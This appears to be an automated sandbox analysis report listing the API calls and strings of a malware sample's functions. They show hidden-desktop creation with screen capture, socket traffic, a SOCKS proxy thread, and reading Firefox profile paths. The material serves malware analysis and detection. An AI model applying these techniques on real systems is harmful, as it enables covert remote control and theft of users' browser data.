GetThreadDesktop.USER32(00000000), ref: 06D4C52E
SetThreadDesktop.USER32(00000ADC), ref: 06D4C543
GetCurrentThreadId.KERNEL32 ref: 06D4C549
GetThreadDesktop.USER32(00000000), ref: 06D4C550
BitBlt.GDI32(00000000,00000000,00000000,00000500,00000400,06010DB1,00000000,00000000,00CC0020), ref: 06D4C5B0
DeleteObject.GDI32(00000000), ref: 06D4C600
DeleteDC.GDI32(00000000), ref: 06D4C60A
ReleaseDC.USER32(00000000,06010DB1), ref: 06D4C622
Sleep.KERNEL32(000003E8), ref: 06D4C6C1
GetSystemMetrics.USER32(00000000), ref: 06D4C6E3
GetSystemMetrics.USER32(00000001), ref: 06D4C6F1
GetCurrentThreadId.KERNEL32 ref: 06D4C70C
GetThreadDesktop.USER32(00000000), ref: 06D4C713
SwitchDesktop.USER32(00000104), ref: 06D4C83E
SetThreadDesktop.USER32(00000ADC), ref: 06D4C84B
Sleep.KERNEL32(?), ref: 06D4C8DB
Sleep.KERNEL32(00000BB8), ref: 06D4C926
DeleteObject.GDI32(00000000), ref: 06D4C935
DeleteDC.GDI32(00000000), ref: 06D4C93F
ReleaseDC.USER32(00000000,06010DB1), ref: 06D4C958

Strings

P, xrefs: 06D4C8CD
nG1e1kO9AWhMmUV, xrefs: 06D4C72E

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Thread$Desktop$DeleteMetricsSleepSystem$CreateCurrentObject$CompatibleExecutionReleaseStateWindow$BitmapCloseHandleRectSelectSwitchclosesocketshutdown
String ID: P$nG1e1kO9AWhMmUV
API String ID: 1429317180-3432711501
Opcode ID: 32774c038098daddd64aab9bfab96d840966b3710f661c014f76d422a494ae1c
Instruction ID: 1f443089cc15553da438473234d6172ed18e0eca53ed812204574b0db4d6b6df
Opcode Fuzzy Hash: 32774c038098daddd64aab9bfab96d840966b3710f661c014f76d422a494ae1c
Instruction Fuzzy Hash: 53224A75E12258DFDB54DFA8D898BADBBB2FB48304F148199E649AB380C7359D40CF60

Function 06D4C990 Relevance: 39.1, APIs: 14, Strings: 8, Instructions: 575
librarythreadloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 06D4C9BB
SetThreadExecutionState.KERNEL32(80000001), ref: 06D4C9CA

Part of subcall function 06D2D3F0: ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(06D4CA21,00000001,06D9A924,00000000), ref: 06D2D41D

GetVersion.KERNEL32 ref: 06D4C9E3
GetCurrentThreadId.KERNEL32 ref: 06D4CA24
GetThreadDesktop.USER32(00000000), ref: 06D4CA2B
LoadLibraryA.KERNEL32(?,?,0000000F), ref: 06D4CB9A
GetProcAddress.KERNEL32(00000000,?), ref: 06D4CD93
GetProcAddress.KERNEL32(00000000,?), ref: 06D4CF7E
LoadLibraryA.KERNEL32(?), ref: 06D4D09B
GetProcAddress.KERNEL32(00000000,?), ref: 06D4D367
LoadLibraryA.KERNEL32(?), ref: 06D4D4B0
GdiplusStartup.GDIPLUS(?,00000001,00000000), ref: 06D4D4F7
CreateThread.KERNEL32(00000000,00000000,06D4C230,00000000,00000000,00000000), ref: 06D4D50C
CloseHandle.KERNEL32(00000000), ref: 06D4D528

Strings

C}Sr, xrefs: 06D4CDBF
D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 06D4CA12
nG1e1kO9AWhMmUV, xrefs: 06D4CA56
hLD3, xrefs: 06D4D3BF
S:(ML;;NW;;;LW), xrefs: 06D4C9FE
J'tq, xrefs: 06D4CAA9
Id`o, xrefs: 06D4CBD4
RlTt, xrefs: 06D4D0D5

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Thread$AddressLibraryLoadProc$DescriptorExecutionSecurityState$CloseConvertCreateCurrentDesktopGdiplusHandleStartupStringVersion
String ID: C}Sr$D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$Id`o$J'tq$RlTt$S:(ML;;NW;;;LW)$hLD3$nG1e1kO9AWhMmUV
API String ID: 4097687401-4118275931
Opcode ID: e03838e7e8c4b91978871fa143c3465f53b16d7d04faf0fda47ddd415d437ec1
Instruction ID: 7ff3bce248f1e7b2cd70cf7ccf369ec641b6709afdffcb9a15c2356a21f13c31
Opcode Fuzzy Hash: e03838e7e8c4b91978871fa143c3465f53b16d7d04faf0fda47ddd415d437ec1
Instruction Fuzzy Hash: 0F720DB0D092A88BDB668F6898857EDBBB1AF59304F1081D9D98CB7311EB305BC5CF51

Function 06D41980 Relevance: 26.1, APIs: 16, Instructions: 2090networkthreadsleepCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(80000041), ref: 06D419C0
SetThreadExecutionState.KERNEL32(80000001), ref: 06D419CF
GetCurrentThreadId.KERNEL32 ref: 06D419E2
GetThreadDesktop.USER32(00000000), ref: 06D419E9
SetThreadDesktop.USER32(00000ADC), ref: 06D419FE
recv.WS2_32(00000AC8,00000000,00000004,00000002), ref: 06D41A58
WSAGetLastError.WS2_32 ref: 06D41A61
__aulldiv.LIBCMT ref: 06D428DF

Part of subcall function 06D24630: __aulldiv.LIBCMT ref: 06D246B2

__aulldiv.LIBCMT ref: 06D42DA8
send.WS2_32(?,?,?,00000000), ref: 06D42F53
recv.WS2_32(?,?,0000000C,00000002), ref: 06D43148
recv.WS2_32(?,?,0000000C,00000008), ref: 06D4320A
recv.WS2_32(?,?,00000000,00000008), ref: 06D433C6
Sleep.KERNEL32(0000000A), ref: 06D44093
Sleep.KERNEL32(00000001), ref: 06D4409B

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Thread$recv$__aulldiv$DesktopExecutionSleepState$CurrentErrorLastsend
String ID:
API String ID: 4270644286-0
Opcode ID: 7b61cb7bc298b1bf53608df9b39f8c611ddcfbae5af83ef940293703be7146a2
Instruction ID: ad54a2302813263035dc34c1331748b7e7570e12f8ae073dc4600808d08d1aca
Opcode Fuzzy Hash: 7b61cb7bc298b1bf53608df9b39f8c611ddcfbae5af83ef940293703be7146a2
Instruction Fuzzy Hash: 2243CEB4D052688FDBA4CF19C894BEEBBB2AB89300F1481DAD54DA7351DB319E85CF50

Function 06D2A230 Relevance: 13.1, APIs: 4, Strings: 3, Instructions: 807
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 06D2A1E0: GetCurrentProcess.KERNEL32(00000000), ref: 06D2A1F4
Part of subcall function 06D2A1E0: IsWow64Process.KERNEL32(00000000), ref: 06D2A1FB

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000,?,?,?), ref: 06D2A65B
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,00000400), ref: 06D2A7C5
RegCloseKey.ADVAPI32(00000000), ref: 06D2A83D
GetCurrentHwProfileA.ADVAPI32(?), ref: 06D2A97E

Strings

w9Y, xrefs: 06D2A515
qHBX, xrefs: 06D2A48E
OguZ, xrefs: 06D2A69E

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID: OguZ$qHBX$w9Y
API String ID: 165412945-770912372
Opcode ID: 5c32c54aeaac2432588b41112782cccddecae5435796083813cbf6ac01319558
Instruction ID: 6ba100fbbbbf3f1df1490633443aa59b6cf57de052ba1803cf23636ad608d980
Opcode Fuzzy Hash: 5c32c54aeaac2432588b41112782cccddecae5435796083813cbf6ac01319558
Instruction Fuzzy Hash: 3EA2DE74D052A88BDB66CB68D880BDEBBB1AF59304F1481DAD98CB7251EA305FC5CF50

Function 06D29080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 06D290A3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,06D9A928), ref: 06D29114

Strings

nG1e1kO9AWhMmUV, xrefs: 06D29089, 06D290B2

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Desktop$CreateOpen
String ID: nG1e1kO9AWhMmUV
API String ID: 153846745-1539193956
Opcode ID: 5b9a7520eee7f572a64a2bec716f89d575f7bc5b4f5cd728e2e48e943e5493a8
Instruction ID: 8c25b5752f371be2352530e8f276a1b6b5701006885ff41787fa7ef28939b82d
Opcode Fuzzy Hash: 5b9a7520eee7f572a64a2bec716f89d575f7bc5b4f5cd728e2e48e943e5493a8
Instruction Fuzzy Hash: 7611D0B4E0421DAFDF44CF95C955BEEBBB0EB08300F104099E954BB380C7769A848FA4

Function 06D29A10 Relevance: 3.4, APIs: 2, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,06D9102C,?,?), ref: 06D29B1E

Part of subcall function 06D297E0: std::exception::exception.LIBCMTD ref: 06D2981C

GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 06D29FE0

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowsstd::exception::exception
String ID:
API String ID: 1347862782-0
Opcode ID: 93d6f37f9f054729d8a81c9d798c64a526937a407e3eb8cfa9b9212a6ea59e6c
Instruction ID: 4a7a432d18fac4ad23a66e17ff538f31620049cbb6712e46ae53667ea6c13d93
Opcode Fuzzy Hash: 93d6f37f9f054729d8a81c9d798c64a526937a407e3eb8cfa9b9212a6ea59e6c
Instruction Fuzzy Hash: EC320274D052A88BDB66CF68C881BEDFBB1AF59300F1481DAD988B7345EB305A85CF51

Function 06D4D540 Relevance: 1.6, Strings: 1, Instructions: 352
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

50500, xrefs: 06D4DAEE

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: std::exception::exception
String ID: 50500
API String ID: 2807920213-2230786414
Opcode ID: 8837d62eb5579a32dc229bed3195ee0f2d0e2822193576c45c342ada95cb4f16
Instruction ID: e72110d3f51e23773ae5b3c8aae4ddcfe799264966b0c84125c85403d29e883a
Opcode Fuzzy Hash: 8837d62eb5579a32dc229bed3195ee0f2d0e2822193576c45c342ada95cb4f16
Instruction Fuzzy Hash: 41120270D042A88BDB65CFA8C990BEDFBB1AF59300F1481DAD949B7351EA305E85CF61

Function 06D32280 Relevance: 13.6, APIs: 9, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 06D322AA
getaddrinfo.WS2_32(FFFFFFFF,00000000,?,00000000), ref: 06D32300
WSACleanup.WS2_32 ref: 06D3230F

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CleanupStartupgetaddrinfo
String ID:
API String ID: 3142474549-0
Opcode ID: 4580e9d7057477bb9847113ea0c53159f85aa8752826da70b025d194c150a004
Instruction ID: 3e81de1838dffd0d9ac7b33e6014f43bf85b22c256a033eeeb7e127e7d02b504
Opcode Fuzzy Hash: 4580e9d7057477bb9847113ea0c53159f85aa8752826da70b025d194c150a004
Instruction Fuzzy Hash: A141D874D14218EFDB14DFA8D888AEDBBB5BB48324F20865DE565A73C0C7349A41CF50

Function 06D6596C Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 06D659B3
___scrt_uninitialize_crt.LIBCMT ref: 06D659CD

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 6bf50d83c36e2a5284e462776c172b3c560524c5448d09ef76fe4e934802d7d3
Instruction ID: 0a0334f1cf8e45d68e4b9095294a08d53b1b3135adc15b1d7b1dd7c880810424
Opcode Fuzzy Hash: 6bf50d83c36e2a5284e462776c172b3c560524c5448d09ef76fe4e934802d7d3
Instruction Fuzzy Hash: 8C41E472E01219AFDBE0AF5BEC80FAE7665EF80654F044119F82567240D7709D81CBB0

Function 06D65A1C Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 06D65A59
dllmain_crt_dispatch.LIBCMT ref: 06D65A70
dllmain_raw.LIBCMT ref: 06D65AB8
dllmain_crt_dispatch.LIBCMT ref: 06D65ACB
dllmain_raw.LIBCMT ref: 06D65ADE

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 5de25b2097fbdef5e055df1dd8db8fbd72e5e9a8bee23b258128beb154102a79
Instruction ID: e5641e0dab0af4952b53a27ad1e478d9137fb92a9dc8524b4c936f8408a3a060
Opcode Fuzzy Hash: 5de25b2097fbdef5e055df1dd8db8fbd72e5e9a8bee23b258128beb154102a79
Instruction Fuzzy Hash: A7214C72E0121AAFDBE19F5AEC80E7F7A69EB81A94B054115F8256B250D7309D81CBF0

Function 06D7DA5B Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 06D7DA63

Part of subcall function 06D7C820: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,06D75513,?,00000000,-00000008), ref: 06D7C881

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 06D7DA9B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 06D7DABB

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 767e27f9824d849accab63b898b72cdf43fd23dcc4bb4bb0d462f43299da5783
Instruction ID: 0471256ba749b15f469430354f171b9ad2e95044383f721997155b7876751f57
Opcode Fuzzy Hash: 767e27f9824d849accab63b898b72cdf43fd23dcc4bb4bb0d462f43299da5783
Instruction Fuzzy Hash: 6111F9F19196197F6B9177755C8DCBF6AEEEF951A87000055F651D1100FEA1CD0182B3

Function 06D32399 Relevance: 3.0, APIs: 2, Instructions: 25
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(?,?,?), ref: 06D32349
WSACleanup.WS2_32 ref: 06D32358
connect.WS2_32(000000FF,?,?), ref: 06D32375
closesocket.WS2_32(000000FF), ref: 06D32388
freeaddrinfo.WS2_32(00000000), ref: 06D3239F
WSACleanup.WS2_32 ref: 06D323AB

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Cleanup$closesocketconnectfreeaddrinfosocket
String ID:
API String ID: 2878866204-0
Opcode ID: b9f7f3ad3d617a1f7da516f9e88ea5b8f84e1eb2bb132e71124049692567858f
Instruction ID: ce707403824daef13bf0d3e8fa238dfec5a8151a1a992996fa259dcb7b54c3c7
Opcode Fuzzy Hash: b9f7f3ad3d617a1f7da516f9e88ea5b8f84e1eb2bb132e71124049692567858f
Instruction Fuzzy Hash: 50F0D478E14118EFCB44CFA4D5989ADB7B5BB89324F208789E95997380C7309F42DB41

Function 06DA0218 Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 06DA029E

Memory Dump Source

Source File: 00000000.00000002.4446015658.0000000006DA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7fbea16f81ed2aaef5533adc727d577db3c2b969191867bbe4d4b3cd898a283c
Instruction ID: 628908411c831fcfc4cfbe3c805571fda638578651e8b10586aed4722714ab1f
Opcode Fuzzy Hash: 7fbea16f81ed2aaef5533adc727d577db3c2b969191867bbe4d4b3cd898a283c
Instruction Fuzzy Hash: 64419076B043069FDB64CF59C880E79B7B5FF85318B288269E8489B741D730ECA1CB90

Function 06D29970 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetupDiGetClassDevsA.SETUPAPI(06D89500,00000000,00000000,00000012), ref: 06D299A7

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ClassDevsSetup
String ID:
API String ID: 2330331845-0
Opcode ID: 42842d3542f2093bab8f75b0bc3f1cf1db17139eda4344dbe460e52dc26ecb46
Instruction ID: 0798cbee4569c508d1dbb5016306b5e4f688079511f9e0388d55b849075e3e52
Opcode Fuzzy Hash: 42842d3542f2093bab8f75b0bc3f1cf1db17139eda4344dbe460e52dc26ecb46
Instruction Fuzzy Hash: DA11F3B0E00209EFDB54DF99C995BAEBBB0FF48314F208158E515AB380D375AA40DF94

Function 06D7775B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,06D55FE8,00000000,?,06D654A8,06D55FE8,?,06D55FE8,00000000,?,06D530C2), ref: 06D7778D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9e267b882fbf1fd7fb32bb4ae12996c5bb6efa796329150715862d2183a2060b
Instruction ID: 305d50e96c02dc18671912469dc7631587108eae94fcdacfa4925964f7b316ea
Opcode Fuzzy Hash: 9e267b882fbf1fd7fb32bb4ae12996c5bb6efa796329150715862d2183a2060b
Instruction Fuzzy Hash: 6EE06571D112225EF7E12766DC04BAA366DDB816B1F150551EC5596180FA50D400C9F3

Function 06D2D3F0 Relevance: 1.5, APIs: 1, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(06D4CA21,00000001,06D9A924,00000000), ref: 06D2D41D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: c5662a596bf03c4c431f577b3da8cea02bbb2147f3de9d4de9cc04df3588a0da
Instruction ID: bb4d06cee79875e7fac05bb3f252a9caa29d50a08d16fe915365188f43ac33d3
Opcode Fuzzy Hash: c5662a596bf03c4c431f577b3da8cea02bbb2147f3de9d4de9cc04df3588a0da
Instruction Fuzzy Hash: EEE0757460120CEFEB00CF88D845B997BB9EB48759F208188FD099B381C7B6AE408B94

Function 06D32470 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000AC8,0000FFFF,00001006,00000AC8,00000008), ref: 06D324A3

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 6c1a4a9ed4b93db822ab00e54cf59c2e6fd3114fdbc3d4023b0e8c39b644d8a7
Instruction ID: 0879eca3268f7c281d83e439c7c6de9c840027c30360d59c17f56e465f630760
Opcode Fuzzy Hash: 6c1a4a9ed4b93db822ab00e54cf59c2e6fd3114fdbc3d4023b0e8c39b644d8a7
Instruction Fuzzy Hash: 93E01270D40308BFDB50DF94D849B9C7BB8AB48700F108169B909AB2C0D67056448B40

Non-executed Functions

Function 06D24910 Relevance: 150.3, APIs: 54, Strings: 30, Instructions: 3289stringprocessfileCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00000000,?,06D87067,000000FF), ref: 06D24BBE
lstrcatA.KERNEL32(?,?), ref: 06D24F04
lstrcatA.KERNEL32(?,?), ref: 06D25040
lstrcatA.KERNEL32(?,?,?,?,?,?,06D87067,000000FF), ref: 06D256A0
lstrcatA.KERNEL32(?,?), ref: 06D257CB
lstrcatA.KERNEL32(?,?), ref: 06D2585A
lstrcatA.KERNEL32(?,?), ref: 06D25991
lstrcatA.KERNEL32(?,?), ref: 06D25BA3
lstrcatA.KERNEL32(?,?), ref: 06D25CD3
CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 06D25D59
lstrcatA.KERNEL32(?,?), ref: 06D25FD2
lstrcatA.KERNEL32(?,?), ref: 06D26109
lstrcatA.KERNEL32(?,?), ref: 06D26245
lstrcatA.KERNEL32(?,?), ref: 06D27486
lstrcatA.KERNEL32(?,06D913E4), ref: 06D27498
lstrcatA.KERNEL32(?,?), ref: 06D274AC
lstrcatA.KERNEL32(?,06D913E4), ref: 06D274BE
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 06D275A5
lstrcatA.KERNEL32(?,?), ref: 06D27E3A
lstrcatA.KERNEL32(?,06D913E4), ref: 06D27E4C
lstrcatA.KERNEL32(?,?), ref: 06D27E60
lstrcatA.KERNEL32(?,06D913E4), ref: 06D27E72
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 06D27F59
lstrcatA.KERNEL32(?,00000000,?,06D87067,000000FF), ref: 06D280C0
lstrcatA.KERNEL32(?,\Mozilla\Firefox\,?,06D87067,000000FF), ref: 06D280D2
lstrcatA.KERNEL32(?,?,?,?,?,?,06D87067,000000FF), ref: 06D280FC
lstrcatA.KERNEL32(?,profiles.ini,?,?,?,?,06D87067,000000FF), ref: 06D2810E
CreateFileA.KERNEL32(?,00000001,00000003,00000000,00000003,00000080,00000000,?,?,?,?,06D87067,000000FF), ref: 06D2812A
GetFileSize.KERNEL32(000000FF,00000000), ref: 06D2814D
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 06D28193
CloseHandle.KERNEL32(?), ref: 06D28E63

Strings

@fh3, xrefs: 06D289F9
jH@M, xrefs: 06D24BF3
'5!-, xrefs: 06D26A55
G)Ci, xrefs: 06D25896
Cqu=, xrefs: 06D25E01
Kl>x, xrefs: 06D2614A
Cqu=, xrefs: 06D287E0
profiles.ini, xrefs: 06D28102
PlCr, xrefs: 06D25081
Al>x, xrefs: 06D2600E
[e@Y, xrefs: 06D25108
H%f0, xrefs: 06D27A8D
I$c|, xrefs: 06D27033
Th0N, xrefs: 06D254A5
Qhbx, xrefs: 06D265FB
G)WE, xrefs: 06D259D2
g}n, xrefs: 06D27A3E
\Mozilla\Firefox\, xrefs: 06D280C6
Path=, xrefs: 06D28215
AeuA, xrefs: 06D24F45
C'ue, xrefs: 06D26286
}&j`, xrefs: 06D27882
G'ue, xrefs: 06D26EF4
Tfcr, xrefs: 06D24D33
Qhbx, xrefs: 06D26C9D
^^, xrefs: 06D27A7D
Th0N, xrefs: 06D25293
nG1e1kO9AWhMmUV, xrefs: 06D257D1, 06D274E1, 06D27E95, 06D2868E, 06D28D6E
G'ue, xrefs: 06D26852
IsRelative=, xrefs: 06D281A5

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: lstrcat$Create$File$Process$CloseDirectoryHandleReadSize
String ID: ^^$'5!-$@fh3$AeuA$Al>x$C'ue$Cqu=$Cqu=$G'ue$G'ue$G)Ci$G)WE$H%f0$I$c|$IsRelative=$Kl>x$Path=$PlCr$Qhbx$Qhbx$Tfcr$Th0N$Th0N$[e@Y$\Mozilla\Firefox\$g}n$jH@M$nG1e1kO9AWhMmUV$profiles.ini$}&j`
API String ID: 1019643014-1685632285
Opcode ID: f422949b920610ffb61800da2c6d9340919c511a5de5092c673e88b59d265532
Instruction ID: d3bc8989787e52360e5d0b038fdb8d3200092b6826158901d121e5bd3609d1ce
Opcode Fuzzy Hash: f422949b920610ffb61800da2c6d9340919c511a5de5092c673e88b59d265532
Instruction Fuzzy Hash: E9930274D096A88BDB66CF288C406E9FBB1AF99304F1491DAD98CB7211EB305BC5CF51

Function 06D472F0 Relevance: 53.9, APIs: 22, Strings: 8, Instructions: 1363threadnetworkCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 06D47345
_memcpy_s.LIBCPMTD ref: 06D477ED
_memcpy_s.LIBCPMTD ref: 06D47807
inet_ntop.WS2_32(00000002,?,00000000,00000016), ref: 06D47835
htons.WS2_32(?), ref: 06D47850
GetCurrentThreadId.KERNEL32 ref: 06D4785F
GetCurrentThreadId.KERNEL32 ref: 06D47C64
_memcpy_s.LIBCPMTD ref: 06D47D13
getaddrinfo.WS2_32(?,06D911A8,00000001,00000000), ref: 06D47D35
WSAGetLastError.WS2_32 ref: 06D47D55
GetCurrentThreadId.KERNEL32 ref: 06D47D61
_memcpy_s.LIBCPMTD ref: 06D481FF
_memcpy_s.LIBCPMTD ref: 06D48229
inet_ntop.WS2_32(00000002,?,00000000,00000016), ref: 06D48257
htons.WS2_32(?), ref: 06D48272
GetCurrentThreadId.KERNEL32 ref: 06D48281
GetCurrentThreadId.KERNEL32 ref: 06D48674
_memcpy_s.LIBCPMTD ref: 06D48B19
_memcpy_s.LIBCPMTD ref: 06D48B33
inet_ntop.WS2_32(00000017,?,00000000,00000041), ref: 06D48B61
htons.WS2_32(?), ref: 06D48B7C
GetCurrentThreadId.KERNEL32 ref: 06D48B8B

Strings

uFSV, xrefs: 06D47D8E
-, xrefs: 06D47E42
uFSV, xrefs: 06D47895
uFSV, xrefs: 06D48BB8
[-] SOCKS thread(%d) getAddressInfo DNS selected, length mismatch: %ld, xrefs: 06D47C6B
uFSV, xrefs: 06D482AE
uFSV, xrefs: 06D47375
uFSV, xrefs: 06D486A4

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: CurrentThread_memcpy_s$htonsinet_ntop$ErrorLastgetaddrinfo
String ID: -$[-] SOCKS thread(%d) getAddressInfo DNS selected, length mismatch: %ld$uFSV$uFSV$uFSV$uFSV$uFSV$uFSV
API String ID: 1609131275-272974455
Opcode ID: fb4b202fa9701fb72708f04a53c7fbede4bd9d72ae4c439013f459dd6f30f7a2
Instruction ID: f9b3c8863043981171e96122ae2595090b8ba585b445fb629572479c3259f892
Opcode Fuzzy Hash: fb4b202fa9701fb72708f04a53c7fbede4bd9d72ae4c439013f459dd6f30f7a2
